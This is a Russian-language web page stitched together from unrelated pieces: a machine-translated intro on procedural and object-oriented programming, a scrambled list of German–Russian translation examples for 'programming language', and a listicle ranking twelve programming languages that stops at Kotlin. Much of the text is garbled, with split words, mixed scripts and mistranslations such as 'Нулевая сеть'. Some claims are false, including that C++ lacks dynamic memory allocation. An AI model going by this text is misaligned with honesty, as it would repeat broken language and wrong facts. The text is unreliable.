    Языки пятого поколения в настоящее время используются для нейронных сетей.Нулевая сеть - это форма искусственного интеллекта, которая пытается имитировать работу человеческого разума.

Процедурно-ориентированное программирование

Тип программирования, при котором используется структурированный метод создания программ. В процедурно-ориентированном программировании проблема разбивается на части, а затем каждая часть разбивается на другие части. Все эти части известны как процедуры. Они разделены, но при необходимости работают вместе. Все они централизованно контролируются основной программой.

Некоторые процедурно-ориентированные языки - COBOL, FORTRAN и C.

Объектно-ориентированное программирование

Тип программирования, в котором типы данных, представляющие структуры данных, определяются программистом, а также их свойства и то, что можно с ними делать. С помощью объектно-ориентированного программирования программисты также могут создавать отношения между структурами данных и создавать новые типы данных на основе существующих, наследуя характеристики одного типа данных от другого.

В объектно-ориентированном программировании типы данных, определенные программистом, называются классами (шаблонами для реального объекта, который будет использоваться в программе). Например, программист может создать тип данных, представляющий автомобиль - класс автомобиля. Этот класс может содержать свойства автомобиля (цвет, модель, год и т. Д.) И функции, которые определяют, что делает автомобиль (движение, задний ход, остановка и т. Д.)

Некоторые объектно-ориентированные языки включают C ++, Java и PHP.

Эта страница была переведена на сербохорватский Йованой Милутинович с Webhostinggeeks.com

язык программирования - немецкий перевод - Linguee

В отличие от S P S язык программирования , s uc h в виде последовательной функциональной диаграммы (SFC), GRAFCET представляет собой графический язык описания, который описывает [... ]

логическое поведение и работа элемента управления

[...]

система или процесс - независимо от технической программной и аппаратной реализации.

art-systems.de

Im Unterschied zu

[...] eine r SPS-Programmiersprache, wi e zum Beispiel Sequential Function Chart (SFC), ist GRAFCET eine grafis ch e Beschreibungssprache, di e d ...

logische Verhalten und

[...]

den Ablauf eines Steuerungssystems bzw. eines Prozesses beschreibt - unabhngig von der technischen Umsetzung в программном обеспечении.

art-systems.de

В CeeBot

используется специальное окно [...]

для отображения инструкций для текущего упражнения и

[...] другие справочные тексты по CB O T язык программирования .

ceebot.com

In CeeBot wird ein spezielles Fenster zur Anzeige der Anweisungen fr die laufende bung und andere

[...] Hilfetex te be r di e Programmiersprache C BOT verw en det.

ceebot.com

Новая разработка: каждая часть приложения может быть

[...] разработан с t h e язык программирования t h at подходит для [...]

конкретная задача лучше всего. Например:

[...]

доступа к данным и бизнес-логика в COBOL на хосте и клиентах на Java, C ++ или Visual Basic.

d-s-t-g.com

Нойентвиклунг: Sie knnen jeden Teil de r

[...] Anwendung in d er Programmiersprache en twick el n, die [...]

fr die jeweilige Aufgabe am besten

[...]

geeignet ist, beispielsweise Datenzugriffe и Business Logik на COBOL из поддержки хоста и клиентов на Java, C #, C ++ или Visual Basic.

d-s-t-g.com

И t h e язык программирования Q V Ba sic, который основан на Visual Basic, обеспечивает [...]

максимальная гибкость - например, при подключении

[...] Считыватели штрих-кода

up для передачи данных в приложения MS Office или создания пользовательских диалоговых окон ввода и запросов.

www2.mitutoyo.de

Und: D ie an Vi su al- Ba sic angele hn te Programmiersprache QV Ba sic sorg max ]

Flexibilitt - etwa bei der Anbindung

[...]

von Barcode-Lesern, der Datenbergabe и MS-Office-Anwendungen oder der Erstellung benutzerdefinierter Eingabe- und Abfragemasken.

www2.mitutoyo.de

Библиотека тегов предлагает набор настраиваемых тегов, которые можно использовать на страницах JSP до

[...]

добавить функциональность на стороне сервера для быстрого создания сложных веб-сайтов

[...] без использования языка программирования Ja v a .

загрузокs.canto.com

Die Tag-Library bieten einen Satz von "custom tags", die verwendet werden knnen, um

[...]

Веб-сайты JSP-Seiten Funktionen hinzuzufgen und schnell komplexe zu

[...] erstellen, o hn e di e J ava Programmiersprache ein zus etze n .

загрузокs.canto.com

Учебные пособия относятся к t h e языку программирования C и d требуется [...]

успешная установка платы, загрузка функционального модуля и

[...]

подключение адекватного датчика.

addidata.com

Учебные пособия по штампам

[...] beziehen s ic h auf di e Programmiersprache C un d set ze n eine [...]

erfolgreiche Установка r Karte , das Laden des Funktionsmoduls

[...]

und den Anschluss eines geeigneten Sensors voraus.

addidata.com

Язык программирования Ja v a c h и ges уменьшают сложность [...]

и количество дополнительного кода, необходимого для общих задач программирования на Java.

schmeling-ol.de

Die nderungen an der Jav a-Programmiersprache r edu ziere n die Komplexitt [...]

und die erforderliche Menge an zustzlichem Code,

[...]

der fr allgemeine Java-Progammierungsaufgaben erforderlich ist.

schmeling-ol.de

CPU SPEED7 от VIPA - это инструкция

[...] совместим с t h e язык программирования S T EP 7 от Siemens [...]

и может быть запрограммирован через WinPLC7

[...]

из VIPA или через Siemens SIMATIC Manager.

vipa.dk

D ie SPEED7 -C PUs von VIPA sind

[...] befehlsk om Pati bel zu r Programmiersprache S TE P7 von Si emens [...]

и известные WinPLC7 от VIPA

[...]

или Siemens SIMATIC Manager programmiert werden.

vipa.de

В прошлом финансовом году инструменты были внедрены для

[...]

более легкий переход

[...] существующее программное обеспечение для нового S T X язык программирования a n d дальнейшие улучшения, касающиеся [...]

интеграция

[...]

управления движением, в том числе.

водомет.de

Im vergangenen Geschftsjahr wurden unter anderem Werkzeuge

[...]

zur vereinfachten

[...] Umstellung be stehe nde r Program a uf die neu est e Programmiersprache S TX

Verbesserungen hinsichtlich

[...]

Integration der Bewegungssteuerung Implementiert.

jetter.de

Новый бухгалтерский продукт, который также был

[...] разработан на t h e языке программирования J a va и основан [...]

на платформе разработки

[...]

от партнеров Bison и современная технология SOA была подготовлена ​​для первого пилотного применения, а также для общего вывода на рынок.

comarch.de

Das neue eben fa lls i n d er Programmiersprache Ja va entwi ck elte Rechnungswesen-Produkt, [...

das auf der Entwicklungsplattform

[...]

des Partners Bison und moderner SOA-Technologie basiert, wurde fr einen ersten Piloteinsatz sowie die allgemeine Markteinfhrung vorbereitet.

comarch.de

Системный интерфейс CoDeSys (CDSIF = CoDeSys System Interface) состоит из нескольких

[...]

DLL для упрощения обмена данными

[...] между Mo de r n язык программирования ( D el phi, Visual [...]

Базовый, VC ++), MS Office (Excel),

[...]

SCADA-системы, LabVIEW и т. Д. На одном конце линии и подразделение CoDeSys Automation Alliance на другом.

кухня.ро

Das CoDesys System-Interface (CDSIF = CoDeSys- System-Interface) обеспечивает большее количество библиотек DLL и стиль от

[...]

einen einfachen Datenaustausch

[...] zwischen eine r mode rnen Programmiersprache (Del phi, V isual [...]

Basic, VC ++), MS Office (Excel), SCADA-Systemen,

[...]

LabVIEW o .. auf der einen und einem Gert der CoDeSys-Automation-Alliance auf der anderen Seite.

kuhnke.de

СЧПУ HEIDENHAIN TNC - это контурные устройства управления для мастерских, которые позволяют вам

[...]

для программирования обычных операций обработки прямо на станке в удобном для использования

[...] convertati на a l язык программирования .

content.heidenhain.de

HEIDENHAIN TNC sind werkstattgerechte Bahnsteuerungen, mit denen Sie

[...]

herkmmliche Frs- und Bohrbearbeitungen direkt an der Maschine im leicht

[...] verstndliche n Klartex t-Di al og programmieren .

content.heidenhain.de

SQS предоставила свой собственный продукт, Process Performance Management, чтобы обеспечить необходимую основу для установки центра контроля качества позже, и посоветовала LC по выбору соответствующих процедур и компонентов; в некоторых случаях измеряемые величины

[...]

возникли из сопоставимых проектов, а другие - из

[...] Sun, которая предоставляет свои собственные рекомендации для своего языка программирования Ja v a .

кв.м.de

SQS lieferte mit dem eigenen Produkt "Process Performance Management" die entscheidende Grundlage fr den spter installierten Kontrollleitstand und beriet LC bei der Auswahl von passenden Verfahren und Komponenten: Zum Teil waren dies Messgren aus

[...]

vergleichbaren Projekten, zum Teil stammten sie von der

[...] Firma Sun , die fr ih re Programmiersprache Ja va eig ene Rich tlini en

кв.м.de

Этот пример e i n язык программирования C - , используемый для демонстрации [...]

, как поля данных могут использоваться с приложениями Windows.

activefax.es

Dieses Beispi el in der Programmiersprache C v eran sc haulicht [...]

die Einbindung von Datenfeldern in Windows an wendungen.

activefax.es

T h e язык программирования J a va от Sun Microsystems [...]

в то время практически не испытывался; оглядываясь назад, однако,

[...]

, можно сказать, что решение перейти на эту среду было правильным, и не только с точки зрения независимости от платформы.

p-mt.net

D i e Programmiersprache J ava vo n der Firma Sun кроссистемы Mi [...]

war zu der Zeit kaum praxiserbrobt, im nachhinein zeigte sich

[...]

aber, dass die Entscheidung fr diese Umgebung richtig war, nicht nur bezogen auf die Plattformunabhngigkeit.

p-mt.net

Строго говоря, XML - это n от a язык программирования - это на самом деле [...]

- стандарт, регулирующий кодирование информации и доступ программного обеспечения к XML-документам.

шестиступенчатый межбанковский клиринг.com

Streng genommen: t XML k ein e Programmsprache, son dern de finiert [...]

mit dem Standard, wie Informationen kodiert sind und wie

[...]

Программное обеспечение на XML-Dokumente zugreifen kann.

six-interbank-clearing.com

T h i s язык программирования i s v e Очень хорошо подходит для [...]

реализация конечных автоматов.

berghof.com

Zur Realisierung von

[...] Zustandsmaschinen i st di ese Programmiersprache seh r gut g eeignet.

berghof.com

Получение знаний о t h e языке программирования a n d аппаратных средствах [...]

компонентов, возможные комбинации, запуск модельного завода

[...]

, включая поиск неисправностей в системе автоматизации, на уровне интерфейса процесса и на самом модельном предприятии.

www05.abb.com

Kenn и lerne n d er Programmiersprache un d d er Ha rd ware-Komponenten, [...]

mgliche Zusammenstellungen, Inbetriebnahme eines Anlagenmodells

[...]

mit Fehlersuche im Automatisierungssystem, im Bereich der Koppelebene und im Anlagenmodell.

www05.abb.com

Кроме того,

[...] реализация t h e язык программирования J a va как открытый исходный код [...] Проект

продвигается несколькими

[...]

компаний, что говорит о долгосрочной доступности платформы.

justiz.gv.at

Auerdem вирд

[...] die U ms etzun g d er Programmiersprache Ja va als O pe n-Source [...]

Projekt von mehreren Unternehmen vorangetrieben,

[...]

принадлежал компании lngerfristige Verfgbarkeit der Plattform spricht.

justiz.gv.at

С этой целью создан централизованный внутренний отдел

[...]

, задача которого - предоставить

[...] группа с si ng l e язык программирования f o r привод GEM, оптимизировать [...]

выбора оборудования и обучение сотрудников Infranor.

perrotduval.com

Dafr wurde eine zentrale interne Dienststelle geschaffen,

[...]

deren Aufgabe es ist, fr die

[...] Gruppe e ine einheitli che Programmiersprache fr de n GEM -D rive zu [...]

Entwickeln, die Auswahl des

[...]

Materials zu optimieren und die Mitarbeiter von Infranor auszubilden.

perrotduval.com

Требования для этого - знание

[...]

соответствующая среда программирования (например, Keil Compiler для C165

[...] микроконтроллер) a nd C язык программирования .

phytec.de

Voraussetzungen dafr sind Kenntnisse der entsprechenden Programmierumgebung (z.B. Keil-Compiler из ден

[...] C165-Microcontrol le r) u и d er Programmiersprache C .

phytec.de

ANGIE включает t h e язык программирования A N GI E и связанные с ним инструменты, такие как [...]

как компилятор и исполняющая система.

д-с-т-г.com

ANGIE u mfas st d ie Programmiersprache AN GIE und die zugehrigen Wer kz euge wie [...]

Compiler und Laufzeitsystem.

d-s-t-g.com

Cach имеет несколько встроенных языков сценариев: Cach ObjectScript, мощный

[...]

, но легкий в освоении

[...] объект-орие NT e d язык программирования ; C ac h Basic, надмножество широко распространенного B as i c язык программирования , i luding extension nc [...]

для мощного

[...]

доступ к данным и объектная технология; и Cach MVBasic, вариант Basic, используемый приложениями MultiValue (иногда называемыми приложениями Pick).

intersystems.com

Cach untersttzt verschiedene eingebaute Skriptsprachen: Cach ObjectScript, eine leistungsstarke und

[...]

einfach zu erlernende

[...] objektorien ti erte Programmiersprache , Cac h Basic, eine Obermenge der weit verbre it eten Programmiersprache [Basis ]...]

fr einen

[...]

leistungsstarken Datenzugriff und Objekttechnologie sowie Cach MVBasic, eine Basic-Variante, die von MultiValueAnwendungen (manchmal auch als Pick-Anwendungen bezeichnet) verwendet wird.

intersystems.at

Всемирный стандарт da r d язык программирования a c co в соответствии с IEC 61131 [...]

с обширной библиотекой функций и удельным весом

[...]

переменных дает доступ ко всем функциям прибора.

sartorius-mechatronics.com

Fr Programmierer steht die

[...] weltwei t standardi sie rte Programmiersprache gem IEC61 13 1 mit [...]

umfangreichen Bibliotheksfunktionen

[...]

und speziellen wgetechnischen Variablen zur Verfgung.

sartorius-mechatronics.com

Zllner реализовал алгоритм

[...] в объекте nt e d язык программирования s o t hat во время моделирования [...]

она может наблюдать

[...]

зернистая структура, а также данные структуры.

dfg.de

Zllner hat den Algorithmus

[...] в ei ne r objektorientie rte n Programmiersprache i mpl ement ie rt, поэтому [...]

моделирование

dass sie whrend der Simulation [...]

sowohl das Korngefge als auch die Daten des Gefges beobachten kann.

dfg.de

С t h e язык программирования " C ," вы должны [...]

сохраняет числовое значение (2 байта) для «дескриптора», которое возвращается функцией ОТКРЫТЬ.

[...]

, потому что все функции ввода / вывода относятся к этому значению.

sartorius-mechatronics.com

I n de r Programmiersprache C msse n Sie einen [...]

numerischen Wert (2 байта) как специальная ручка, der von der Funktion OPEN

[...]

zurckgegeben wird, da sich all I / O-Funktionen auf diesen Wert beziehen.

sartorius-mechatronics.com

Благодаря высокому уровню интегрированного интеллекта

[...] и ECL cu st o m язык программирования e v er y сумматор может [...]

для выполнения индивидуальных расчетов,

[...]

оценок, мониторинга и оптимизации.

camillebauer.com

Jede einzelne Summenstation ist

[...]

durch ihre hohe

[...] Eigenintelligenz und di e system eige ne Programmiersprache EC L in der L age, kundenspezifische [...]

Berechnungen,

[...]

Auswertungen, berwachungen und Optimierungen auszufhren.

camillebauer.ch

Любой тип e o f язык программирования c a n для [...]

для этой цели, если он может создавать полиморфные компоненты (т.е.

[...]

компонентов с более чем одним интерфейсом).

terasens.de

J ede Programmiersprache kan n h ierf r verwendet [...]

werden solange diese in der Lage ist, polymorphe Komponenten (d.h. Komponenten

[...]

mit mehr als einer Schnittstelle) zu erzeugen.

terasens.de

Студенты знакомы с широким кругом

[...]

спектр клиентов и

[...] server b as e d языков программирования ( J av ascript, Java, Python, PHP) и может писать свои собственные интерактивные интернет-страницы в одной спецификации if i c язык программирования ( P HP ).

claus-brell.de

Die Studierenden kennen ein breiteres

[...] Spektrum client- u nd serverbas iert er Programmiersprachen (J avas crip t, Java, Python, PHP) und sind6 ger ein er Programmiersprache (P HP) eige ne Interaktive Internetseiten [...]

zu erstellen.

claus-brell.de

12 лучших языков программирования [Обновлено 2020]

Рынок разработки регулярно наблюдает за появлением новых языков программирования. Но преодолевают ли эти новые языки старые, которые господствовали на рынке разработки в течение последних многих лет? Что ж, введение новых языков не склоняет к исчезновению известности старых, при условии, что старые версии обладают качествами, подтверждающими их существование.

Если вы хотите выбрать правильный язык программирования для достижения цели вашего проекта, сначала вам нужно взглянуть на несколько лучших из них, которые доминируют в отрасли своим присутствием. Никуда не уходите, мы в MobileAppDaily провели углубленное исследование и подготовили список из 12 лучших языков программирования, помогающих разработчикам выполнять различные бизнес-проекты.

Лучшие языки программирования для процесса разработки приложений

Отправляйтесь вместе с нами, чтобы узнать о лучших языках программирования, предоставляющих разработчикам свои надежные структуры разработки.

1. JavaScript

JavaScript можно назвать основой языков мобильных приложений. Этот язык программирования был представлен в 1995 году, и с тех пор его используют почти все типы разработчиков в отрасли. Из-за популярности и использования JavaScript прекратил ежегодное исследование языков программирования StackOverflow шесть лет подряд.

Согласно опросу разработчиков, проведенному Stack Overflow, JavaScript уже шестой год подряд оценивается как самый популярный и лучший язык программирования для разработки мобильных и веб-приложений.Около 70 процентов участников опроса сообщили, что использовали язык программирования приложений в прошлом году.

Разработчики используют JavaScript с другими мощными языками сценариев, включая HTML, CSS и AJAX, для получения желаемых и лучших результатов разработки мобильных приложений. От Facebook, Twitter до Gmail и YouTube разработчики полагаются на JavaScript для создания интерактивных веб-приложений и мобильных приложений для визуализации динамического контента для пользователей.

Одно можно сказать наверняка; JavaScript здесь надолго, и с его серверным приложением Node.js, она станет ведущей платформой для программирования. Самым ярким примером этого является то, что такие компании, как Google и Amazon, использовали JavaScript, чтобы дать своему процессу разработки крылья для быстрого достижения успеха.

Создано: Изначально JavaScript был придуман как LiveScript в сентябре 1995 года и поставлялся вместе с Netscape Navigator 2.0.

Плюсы:

  • Клиентский JavaScript работает быстро;
  • Сравнительно легко освоить.
  • Может быть легко интегрирован с другими языками;
  • Grease monkey поддержка для написания сниппетов.

Минусы:

  • Включить одинарное наследование;
  • Отсутствие копии или аналогичного метода;
  • Интерпретируется по-разному в разных браузерах.

Использование / приложения: Разработка веб-приложений и мобильных приложений, разработка приложений для настольных компьютеров и разработка игр.

Средняя зарплата разработчика при использовании этого языка программирования: 110 981 доллар США в год

Кривая сложности : Easy

2.TypeScript

После JavaScript TypeScript стал следующим важным языком программирования приложений. В недавнем прошлом многие стартапы и технологические компании перешли с JavaScript на TypeScript.

Рост популярности TypeScript можно объяснить тем фактом, что он считается обязательным расширением основного языка ECMAScript. Он обеспечивает видимость кода, а также предлагает проверку статического типа во время компиляции. И самое лучшее, что большинство разработчиков интегрируют Typescript с React Native для лучшей разработки приложений.

Обзор State of JavaScript показывает, что TypeScript является второй по популярности разновидностью JS сразу после ES6: 80,4% разработчиков используют его или хотят изучить.

Создано: После двух лет внутренней разработки Андерсом Хейлсбергом в Microsoft, он появился в октябре 2012 года.

Плюсы:

  • Упрощает код JavaScript;
  • Предоставляет высокопроизводительные инструменты разработки;
  • Добавляет преимущества ES6;
  • Синхронизировано с ECMAScript.

Минусы:

  • Невыразительная языковая конфигурация;
  • Отсутствует пакетный менеджер;

Использование / приложения : веб-приложения и мобильные приложения.

Средняя зарплата разработчика с использованием этого языка программирования: 106 569 долларов в год

Кривая сложности : Средняя

3. HTML

HTML5 считается идеальным языком программирования приложений для Android и iOS. Язык разметки обеспечивает кроссбраузерную поддержку, а также гарантирует бесперебойную работу в настольных и мобильных браузерах.Он отзывчивый и помогает разработчикам создавать приложения, к которым можно получить доступ на всех устройствах.

Этот язык разработки веб-приложений экономичен, потому что разработчики могут использовать HTML5 в текущей версии HTML. Кроме того, этот язык сценариев позволяет легко вставлять чистый код, который обеспечивает качество проекта.

HTML5 рекомендуется как один из лучших языков программирования для разработки мобильных игр. У языка есть замечательная функция для взаимодействия с пользователем.Автономное редактирование, усовершенствования сообщений и обычное хранение в базе данных SQL делают его одним из наиболее часто используемых языков программирования для разработчиков мобильных приложений. Вы также можете легко изучить этот язык программирования с помощью «онлайн-преподавателей SQL», которые даже гарантируют своевременную помощь.

Создано : Тим Бернерс-Ли разработал HTML в конце 1991 года.

Плюсы:

  • Чистый код;
  • Лучшая консистенция;
  • Отличная верстка страницы;
  • Поддержка геолокации;
  • Улучшенный мобильный доступ к Business Intelligence;
  • Приложения не ограничены рамками окон, и браузеры могут работать в полноэкранном режиме.

Минусы:

  • Язык еще недоделанный;
  • Проблемы с лицензированием СМИ;
  • Отставание в работе нескольких устройств.

Использование / приложения : веб-страницы.

Средняя зарплата разработчика, использующего этот язык программирования : 75 487 долларов в год

Кривая сложности : Средняя

4. Java

Java - один из наиболее предпочтительных и лучших языков для создания мобильных приложений Android.Этот объектно-ориентированный язык программирования может работать двумя разными способами: либо в окне браузера, либо на виртуальной машине, которая работает без браузера.

Благодаря гибкости использования кода разработчики получают возможность повторно использовать один и тот же код для обновления тех же аспектов, которые доступны в других приложениях. И по той же причине Java стала одним из предпочтительных языков программирования для разработки кроссплатформенных приложений.

Создал: Джеймс Гослинг разработал Java в 1996 году.

Плюсы:

  • Объектно-ориентированный язык;
  • Предлагает API;
  • Имеет эффективные инструменты быстрой разработки с открытым исходным кодом;
  • Множество библиотек с открытым исходным кодом.

Минусы:

  • Управление памятью стоит дорого;
  • Отсутствуют шаблоны, что может помешать разработке качественных структур данных;

Использование / применение: Разработка приложений для Android, веб-приложений и больших данных.

Средняя зарплата разработчика, использующего этот язык программирования: 101 013 долларов в год.

Кривая сложности: Просто и легко.

Примечательные особенности Java:

  • Повышенная кросс-функциональность;
  • Большое активное сообщество пользователей и поддержка;
  • Программы компилируются независимо, что позволяет запускать одни и те же программы на разных машинах;
  • Предлагает инструменты разработки, такие как NetBeans и Eclipse SDK, которые имеют возможность отладки;
  • Совместим с Scala, Groovy, JRuby и Clojure.

5. Python

Python прочно удерживает позиции на рынке как один из лучших языков программирования, помогая разработчикам создавать мощные веб-приложения и мобильные приложения. Этот язык легко выучить и внедрить, что делает его предпочтительным языком для изучения разработчиками.

Самое лучшее в Python - это то, что он считается идеальным для разработки приложений для Android и iOS. Этот язык программирования отлично подходит для масштабируемости и удобочитаемости, что снова делает его широко используемым языком для кроссплатформенных мобильных приложений.Python также открывает двери для многопоточности и многопроцессорности, что делает приложение намного лучше с точки зрения производительности и отклика на команды.

Вы можете узнать о многопоточности и многопроцессорности Python здесь.

В другом опросе Python вытеснил JavaScript и стал самым популярным языком программирования в сообществе разработчиков.

Создано: Он был разработан Гвидо ван Россум и выпущен в 1991 году.

Плюсы:

  • Поддержка нескольких платформ и систем;
  • Объектно-ориентированное программирование или ООП;
  • Эффективно увеличивает продуктивность программиста;
  • Обширные библиотеки поддержки.

Минусы:

  • Не поддерживает мобильные вычисления;
  • Уровень доступа к базе данных Python находится на начальной стадии.

Использование / применение: Графические интерфейсы для настольных ПК, веб-разработка и Интернет-разработка, научные и числовые приложения и бизнес-приложения.

Средняя зарплата разработчика, использующего этот язык программирования: 114 383 долларов в год.

Кривая сложности : Легко

Примечательные особенности Python:

  • Наличие сторонних модулей, делающих его способным взаимодействовать с большинством других языков и платформ;
  • Обширные библиотеки поддержки - NumPy для численных расчетов, Pandas для анализа данных и т. Д .;
  • Открытый исходный код и разработка сообщества;
  • Быстрая работа, удобные для пользователя встроенные структуры данных;
  • Тип данных указывать не нужно, тип данных зависит от присвоенного значения;
  • Портативный и интерактивный в операционных системах.

6. R

R - хорошо известный язык программирования для статистических вычислений и графики. Его можно рассматривать как другую реализацию S. Его статистические и графические методы включают линейное и нелинейное моделирование, классификацию, кластеризацию, классические статистические тесты и т. Д.

Лучшее в языке программирования R - это простота проектирования графиков, пригодных для публикации. это может включать математические символы и формулы. Его можно скомпилировать и запустить на многих платформах UNIX, а также в Windows и macOS.

На изображении ниже видно, что трафик Stack Overflow для R значительно выше по сравнению с другими языками, такими как Swift и TypeScript.

Создано: Он был разработан Робертом Джентльманом и Россом Ихака из Оклендского университета.

Плюсы:

  • Отличный язык статистического анализа;
  • Легко кодировать;
  • Программное обеспечение с открытым исходным кодом;
  • Может легко использоваться для GNU / Linux и Microsoft Windows;
  • Легко запускается в разных операционных системах.

Минусы:

  • Недостатки качества упаковки.
  • Не впечатляющее управление памятью

Использование / приложения : Проекты Data Science, статистические вычисления, машинное обучение

Средняя зарплата разработчика при использовании этого языка программирования: Диапазон от 90 042 до 136 616 долларов в год.

Кривая сложности: Hard

Примечательные особенности R:

  • Эффективное средство обработки и хранения данных,
  • Лучше всего для вычислений на массивах;
  • Интегрированный набор инструментов для анализа данных;
  • графические средства анализа данных;
  • Включает определяемые пользователем рекурсивные функции, условные выражения, циклы, а также средства ввода и вывода.

7. C / C ++

Среди языков программирования Android C / C ++ снова считается одним из самых старых и популярных языков программирования для мобильных устройств. Поскольку разработка приложений для Android стала одной из важнейших задач для разработчиков сегодня, язык программирования стал важным для создания приложений на базе Android.

Этот собственный комплект средств разработки для языка кодирования приложений Android очень помогает разработчикам в создании приложений с использованием этого языка программирования.C / C ++ является исключительным для таких приложений, как 3D-игры.

C ++ работает с целью C, поэтому разработчики мобильных приложений также могут эффективно использовать его в качестве языка программирования iOS. Это экономит дополнительное время и силы разработчиков. В случае, если разработчики мобильных приложений хотят писать только собственные коды; все библиотеки предназначены для разработки кода того же самого.

Создано: C ++ был разработан Бьярном Страуструпом в 1983 году.

Плюсы:

  • Множество компиляторов и библиотек;
  • Синтаксис, аналогичный C и C #;
  • Сборщик мусора не работает в фоновом режиме.

Минусы:

  • Сложен для начинающего программиста из-за сложного синтаксиса;
  • Не поддерживает сборку мусора или динамическое распределение памяти;
  • Система объектной ориентации довольно проста.

Использование приложений: Разработка игр, графические компиляторы и продвинутые вычисления.

Средняя зарплата разработчика, использующего этот язык программирования: 113 865 долларов в год.

Сложность обучения: Сложная

Примечательные особенности C / C ++:

  • Подходит для разработки приложений с несколькими устройствами и платформ;
  • Включает классы, абстракцию данных, инкапсуляцию и наследование, полиморфизм;
  • Богатая библиотека функций;
  • Обработка исключений и функция перегрузки функций;
  • Широкий спектр приложений - от 3D-графики для игр до приложений с графическим интерфейсом и математического моделирования в реальном времени.

8. C #

Будучи объектно-ориентированным языком программирования, C # широко используется Microsoft на мобильных платформах Windows. Это чистая объективная версия C и C ++. Было опрошено, что 38% мобильных разработчиков используют C # как часть языка программирования, а 16% используют C # в качестве основного языка программирования.

Всем разработчикам, работающим на платформе Windows, выгодно использовать язык C #. Хорошая новость об этом языке мобильного программирования заключается в том, что его можно использовать для разработки кроссплатформенных мобильных приложений.Кроме того, его также можно использовать вместо Swift, Java и Objective C.

C #, как один из лучших языков программирования, предлагает исключительную поддержку веб-разработчикам в форме лямбда-выражений, перечислений и значений, допускающих значение NULL, как а также прямой доступ к памяти, который недоступен разработчикам при работе с Java. По той же причине разработчикам мобильных приложений становится легко создавать настраиваемые модели поведения итераций, которые можно легко использовать на стороне клиента.

C # превосходит по шкале безопасности и производительности, но ему не хватает, если оценить производительность.

Создано: Его первая версия была выпущена в 2001 году.

Плюсы:

  • Благодаря схожему синтаксису это легко для разработчиков, знающих язык C;
  • Интеграция с Windows;
  • Интегрирован с библиотекой .NET;
  • Типы указателей не допускаются.

Минусы:

  • Разрешает указатели в «небезопасных» блоках;

Приложения использования : Разработка корпоративных кросс-приложений и веб-приложений.

Средняя зарплата разработчика при использовании этого языка программирования: Диапазон от 66 493 долларов США в год до 101 775 долларов США в год.

Сложность обучения: Сложная

Примечательные особенности C #:

  • Чисто объектно-ориентированное, а не смесь процедур или объектно-ориентированных;
  • Более безопасный тип и отсутствие таких проблем, как утечка памяти;
  • Концепция сборки решает проблему управления версиями;
  • Простые в реализации функции за счет богатой библиотеки классов;
  • Кроссплатформенность, нужна только платформа.NET framework для установки на машине;
  • Хорошая поддержка распределенной системы.

9. PHP

Препроцессор гипертекста или PHP был создан в 1995 году и стал популярным языком сценариев. Даже после появления новых языков программирования значимость PHP (как надежной CMS и платформы для разработки веб-приложений) не пострадала.

Секрет его огромной популярности можно объяснить регулярными обновлениями и патчами, которые он получал в течение многих лет.Лучшим примером доминирования PHP можно считать WordPress, наиболее широко используемую платформу CMS в мире.

Согласно опросу w3techs.com, PHP - лучший серверный язык программирования.

Язык программирования имеет различные преимущества, такие как обширные библиотеки и модули, обеспечивающие динамическую разработку программного обеспечения.

Разработано: Разработано Расмусом Лердорфом в 1994 году.

Плюсы:

  • Бегать просто;
  • Функциональное и объектно-ориентированное программирование;
  • Крупномасштабное сообщество разработчиков ПО с открытым исходным кодом;
  • Отличные инструменты автоматизации для тестирования и развертывания.

Минусы:

  • Отсутствует отладка;
  • Недостаточно надежно;
  • Разработка веб-сайтов происходит медленнее при использовании PHP Web Development.

Приложения использования: Веб-приложения, приложения электронной коммерции и системы управления контентом.

Средняя зарплата разработчика при использовании этого языка программирования: 84 727 долларов в год

Кривая сложности: Легко

Примечательные особенности PHP:

  • Простота использования;
  • Поскольку это интерпретируемый язык, нет необходимости в компиляции;
  • Может работать на различных платформах, таких как Linux, Unix, Mac OS X, Windows;
  • Ключевые слова, классы, функции и определяемые пользователем функции PHP не чувствительны к регистру.

10. Swift

Swift изначально создавался Apple как язык программирования для iOS и стал лучшим языком для разработки приложений в области iOS. Это отличный вариант для разработчиков, поскольку он предлагает множество функций и функций, которые можно интегрировать в приложение iOS.

Благодаря своим возможностям Swift, язык разработки для iOS, теперь считается будущим разработки мобильных приложений. Это один из важнейших языков программирования мобильных приложений, который быстро растет.

Swift - это язык программирования с открытым исходным кодом, и это еще одна причина его популярности. Язык программирования легко выучить, поэтому несколько разработчиков делают выбор в пользу одного и того же. Программисты, знакомые с Objective C, могут легко создавать приложения с помощью языка программирования Swift.

Если говорить о конкуренции между Swift и Objective C, Swift с большим отрывом превосходит Objective-C.

Создано: Разработано Apple в июле 2010 года.

Плюсы:

  • Программные коды Swift легко читаются;
  • Легко добавлять новые функции;
  • Короткая длинная строка кода;
  • Нет утечек памяти.

Минусы:

Регулярные обновления делают его несколько нестабильным;
Наличие Swift-разработчиков меньше.

Использование приложений : Исключительно хорошо работает с платформами Apple Cocoa и Cocoa Touch для разработки приложений iOS.

Средняя зарплата разработчика при использовании этого языка программирования: 130 801 доллар в год

Кривая сложности: Easy

Примечательные особенности Swift:

  • Apple выпускает новые материалы и новые функции только для Swift;
  • Синтаксис стал короче, понятнее и читабельнее;
  • Авария во время выполнения, если используется необязательная переменная nil, облегчает процесс исправления ошибок;
  • Высокопроизводительное автоматическое управление памятью;
  • Легче в освоении, более удобный синтаксис, можно использовать как язык сценариев;
  • Открытый исходный код и поддерживает динамические библиотеки.

11. SQL

Если исходить из утверждений Evans Data Corporation, в свое время в мире было около 19 миллионов разработчиков, из которых 7 миллионов использовали SQL. Этот язык программирования дает нам четкое представление о популярности SQL среди ведущих разработчиков приложений во всем мире.

Язык структурированных запросов или SQL позволяет разработчику быстро извлекать записи из базы данных. Причина его популярности может быть связана с его функцией управления структурами данных и хранимой информацией.

Согласно опросу разработчиков StackOverflow 2018, SQL является наиболее часто используемым языком исследователей и аналитиков данных.

Разработано: Он был разработан Дональдом Д. Чемберлином и Раймондом Ф. Бойсом и стал общедоступным в 1979 году.

Плюсы:

  • Надежный язык запросов:
  • Идеально подходит для большого количества строки таблицы;
  • Высокая доступность данных;
  • Великолепная согласованность данных;
  • Получение данных из нескольких таблиц происходит быстро.

Минусы:

  • Преобразование данных из объектов в таблицы базы данных затруднено;
  • Может работать на одном сервере;

Использование приложений: Используется в любой базе данных

Средняя зарплата разработчика, использующего этот язык программирования : 84792 доллара в год.

Кривая сложности: Easy

Примечательные особенности SQL:

  • Обеспечивают высокопроизводительное программирование для системы баз данных с высоким уровнем использования;
  • Поддержка нескольких баз данных;
  • С помощью SQL легко создавать новые таблицы;
  • Эффективно управляет многочисленными транзакциями.

12. Kotlin

